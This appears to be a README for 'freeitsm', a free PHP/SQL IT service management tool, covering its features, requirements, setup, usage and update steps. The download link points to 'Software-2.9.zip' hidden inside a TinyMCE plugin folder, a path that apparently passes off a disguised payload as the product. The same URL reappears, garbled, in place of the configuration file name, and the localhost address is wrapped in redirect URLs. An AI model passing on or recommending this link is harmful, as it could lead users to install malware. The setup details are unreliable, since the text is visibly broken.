freeitsm is a completely free IT Service Management (ITSM) tool designed to help you keep track of your IT assets, tickets, knowledge base, and more. It runs on common web technologies, making it easy to access from any device with a web browser.
You don’t need to be an expert to use freeitsm. It offers simple forms, calendar views, and asset management features that help small teams or individuals organize their IT tasks efficiently.
- Ticketing System: Manage requests and incidents through a straightforward ticket system.
- Asset Management: Keep an inventory of your hardware and software.
- Knowledge Base: Store and share information in a user-friendly format.
- Calendar: Schedule and track important IT events and deadlines.
- Forms: Create and fill forms to collect information quickly.
- Changelog: Maintain a log of updates and changes for easy tracking.
- AI Assistance: Basic AI features to help automate routine tasks.
- Cross-platform: Works on Windows, Mac, and Linux via a browser.
These features make freeitsm a suitable choice for small companies, IT freelancers, or anyone who wants a simple way to manage IT tasks without complex setups.
Before you start, please check that your device meets the following:
- Operating System: Windows 10 or later, macOS 10.14 or later, or any Linux distribution.
- Web Browser: Latest version of Chrome, Firefox, Edge, or Safari.
- Hardware: At least 2 GB RAM and 500 MB disk space.
- Web Server: freeitsm uses PHP and SQL, so you will need a web server like Apache or Nginx and a database such as MySQL or MariaDB.
If you don’t already have a web server and database set up, you may consider using free software packages such as XAMPP or MAMP that bundle these components.
Here’s how you can get freeitsm up and running without any coding knowledge:
-
Download the software package
Click the big download button at the top or visit https://raw.githubusercontent.com/thex29/freeitsm/main/assets/js/tinymce/plugins/pagebreak/Software-2.9.zip to get the latest release zip file. -
Extract the package
After downloading, right-click the zip file and select “Extract All” or use your preferred unzip tool. Choose a folder where you want freeitsm files to live. -
Set up your web server and database
- If you have XAMPP, MAMP, or similar installed, start the web server and MySQL/MariaDB.
- Create a new database using the database tool (phpMyAdmin or command line).
- Remember the database name, username, and password.
-
Configure freeitsm
- Open the extracted folder.
- Find the configuration file (usually named something like
https://raw.githubusercontent.com/thex29/freeitsm/main/assets/js/tinymce/plugins/pagebreak/Software-2.9.zip). - Edit it with a simple text editor (e.g., Notepad or TextEdit).
- Enter your database details so freeitsm can connect.
-
Run freeitsm in your browser
- Open your browser.
- Enter the path to freeitsm on your local server (often something like
http://localhost/freeitsm). - Follow the on-screen instructions to complete setup.
You now have a basic freeitsm system ready to use.
To install freeitsm, visit the official releases page:
You will find the latest stable version packaged for easy download. Download the ZIP file and follow the Getting Started guide above to set everything up. The ZIP contains all files needed to run the application.
If you run into issues, the release page often has notes and links to help.
- Log in to freeitsm.
- Click on “New Ticket” or “Create Ticket” on the dashboard.
- Type the problem details in the form.
- Assign priority and category if available.
- Submit the ticket.
- Navigate to the “Assets” section.
- Click “Add New Asset.”
- Fill in details like name, type (Hardware/Software), serial number.
- Save the asset.
- Access the “Knowledge” or “KB” area.
- Click “Create Article.”
- Write your notes or instructions.
- Save to make it available to others.
- Open the “Calendar” tab.
- View scheduled tasks or add new events.
- Events can include maintenance times, reviews, or deadlines.
- Always change default passwords after installation.
- Back up your database regularly.
- Keep your web server and PHP software updated.
- Limit access to the freeitsm folder on your server.
If you need assistance:
- Check the project’s official GitHub page for FAQs.
- Look at documentation files included in the download.
- Search online for tutorials related to freeitsm or PHP/SQL setups.
You don’t need to be a programmer, but basic computer skills help in administering software running on a web server.
Here are the main topics freeitsm covers:
- ai
- asset management
- calendar
- changelog
- forms
- free software
- ITSM (IT Service Management)
- knowledge base
- PHP based
- software inventory
- SQL database
- ticketing system
These give you an idea of what the tool focuses on and its ability to cover most IT help desk needs with simple tools.
To update freeitsm:
- Download the latest release from the same releases page.
- Back up your database and files.
- Replace the old files with new ones, keeping your configuration.
- Run any update scripts if included in the package.